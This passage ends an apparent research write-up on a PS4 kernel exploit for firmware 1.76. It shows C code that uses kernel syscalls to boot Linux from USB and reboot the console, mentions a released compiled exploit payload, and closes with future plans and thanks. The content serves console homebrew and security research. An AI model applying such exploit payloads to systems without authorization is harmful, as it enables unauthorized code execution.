char *cmdLine = "panic=0 clocksource=tsc radeon.dpm=0 console=tty0 co
    "console=uart8250,mmio32,0xd0340000 video=HDMI-A-1:1920x1080-24@6
    "consoleblank=0 net.ifnames=0 drm.debug=0";

syscall(153, kernel, kernelSize, initramfs, initramfsSize, cmdLine);

free(kernel);
free(initramfs);

// Reboot
int evf = syscall(540, "SceSysCoreReboot");
syscall(546, evf, 0x4000, 0);
syscall(541, evf);
syscall(37, 1, 30);
```

A compiled version of the dlclose exploit, with a payload which boots Linux from USB has been added to the PS4-playground.

There are still a few issues which need to be addressed, such as only 1080p display being supported, but it's still a fun thing to play with, and the fail0verflow team continues to make steady progress on the project all the time.

Summary

I'm going to finish the article at this point since I just wanted to provide a few examples of what can be done with the kernel exploit; there's so much else to be explored that I don't think I'll ever get round to everything: the registry, save game encryption, system update process, capturing decrypted SSL traffic, etc.

In conclusion, we have achieved kernel code execution on firmware 1.76 of the PS4. Fortunately, BadIRET has been long patched on later firmware versions, so this research hopefully shouldn't cause any adverse effects.

This does however provide researchers the ability to reverse engineer the PS4 kernel, which was previously unavailable. One of the things we will probably spend the most time doing now is auditing the custom Sony system calls in the kernel dump, and searching for vulnerabilities which may be present on later firmware versions; but I'll probably take a long break from the PS4 first.

Thanks

The following people have helped me extensively along the way: explaining fundamental concepts to me, sharing ideas of new things to try, fixing problems with my code, and much more. So once again, "thanks to everyone involved", I couldn't have done it without your help!

- Michael Coppola (@mncoppola)
- Adam Zabrocki (@Adam_pi3)
- Takezo
- Yifan Lu (@yifanlu)
- kR105 (@kr105rlz)